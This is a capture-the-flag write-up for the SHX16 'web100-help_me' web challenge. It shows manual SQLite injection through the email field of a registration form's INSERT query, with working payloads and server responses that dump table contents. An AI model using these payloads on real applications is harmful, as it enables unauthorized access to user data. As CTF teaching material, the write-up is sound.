SHX16 : web100-help_me

I'm seeing a lot of people asking for write-up of this challenge, so here it is!

TLDR It's about a simple SQLite injection, and it needs to be done manually. Your sqlmap will not work with default settings, maybe w/ some custom parameters and/or a tamper script, but trust-me this is not necessary.

Enumeration

The most important step of any pentest activity is the recon. In this case we have a login form of a web application, so I started by enumerating directories, scripts, SSL certificate details, system features.

Directories and files/scripts

C=200    "index.html"
C=200    "register.php"
C=200    "login.php"
C=403    ".git"
C=403    ".git/HEAD"  << This could be interesting, but we do not have access ..
C=403    ".svn"
C=403    ".svn/entries"

SSL certificate details

E = shx@16.com << Good, we have an email, maybe the email from the system administrator?
CN = "SHX#16"
OU = SHX 16
O = SHX
L = FOR
ST = CE
C = BR

Browsing the system features I noticed that it does not accepts duplicated records for username and email

This is what happens when we try to register an existing username or email

Looking at the raw response I found a hidden DIV showing us some important debug information:

UNIQUE constraint failed: USERS.MAIL  
...
UNIQUE constraint failed: USERS.USERNAME  

So, we can extract 3 important information from this errors:

  • Table name: USERS
  • Username column name: USERNAME
  • Email column name: MAIL

We also can confirm that already exists an user registered w/ that leaked email w/ this payload:

first_name=test&last_name=test&user_name=tesst&pass_word=test&email=SHX@16.com

With this we can bruteforce usernames and emails, but we want more!

Attack vector

After fuzzing the registration form fields w/ some illegal characters I got a SQL sintax error sending ' at mail field:

first_name=test&last_name=test&user_name=tesst&pass_word=test&email='

ERROR: SQLSTATE[HY000]: General error: 1 near "test": syntax error  

Perfect, now we need to find a way to take control of this INSERT query.

So, the first step is try to figure out the number and positions of columns of the current INSERT query.

email=xx','xxx','a4');#

ERROR: SQLSTATE[HY000]: General error: 1 3 values for 4 columns  

So, we have 4 columns, if we send 4 columns it register a new user w/ our query data:

email=xxx','xxx','a4','11');#

And now we can figure out the INSERT columns order: email, name, username, password.

Data leaking

Now let's try to insert a sql subquery in place of parameter name to leak some database information. The first idea come in mind is to try get version of this SQL database..

email=xxx',(select version()),'a4','11');#

..injection works, but the INSERT fails, this SQL database has no version() function..

ERROR: SQLSTATE[HY000]: General error: 1 no such function: version  

Why? because it's not a MySQL database, maybe a SQLite? let's test..

email=xxx',(SELECT tbl_name FROM sqlite_master),'a4','11');#

Perfect, it printed the current table name and SQLite confirmed!

Now we have all the pieces to mount our query searching for the flag.

Counting all entries from USERS

email=xxxxX',(SELECT count(*) FROM USERS),'a10','11');#

Welcome My Friend
Here your infos:
name: 6
mail: xxxxX
username: a10
password: 11

Dumping the MAIL from first USERS entry

email=xxxxXX',(SELECT MAIL FROM USERS LIMIT 0, 1),'a11','11');#

Welcome My Friend
Here your infos:
name: SHX@16.com
mail: xxxxXX
username: a11
password: 11

Dumping the ID from first USERS entry

email=xxxxXX',(SELECT ID FROM USERS LIMIT 0, 1),'a11','11');#

Welcome My Friend
Here your infos:
name: 31337
mail: xxxxXXXX
username: a13
password: 11

Dumping the USERNAME from USERS where ID is equal to 31337

email=xxxxXXXXX',(SELECT USERNAME FROM USERS WHERE ID=31337),'a14','11');#

Welcome My Friend
Here your infos:
name: flag
mail: xxxxXXXXX
username: a14
password: 11

Awesome, and finally dumping the PASSWORD from the user where ID=31337

Done!
Thanks shellterlabs.com

References

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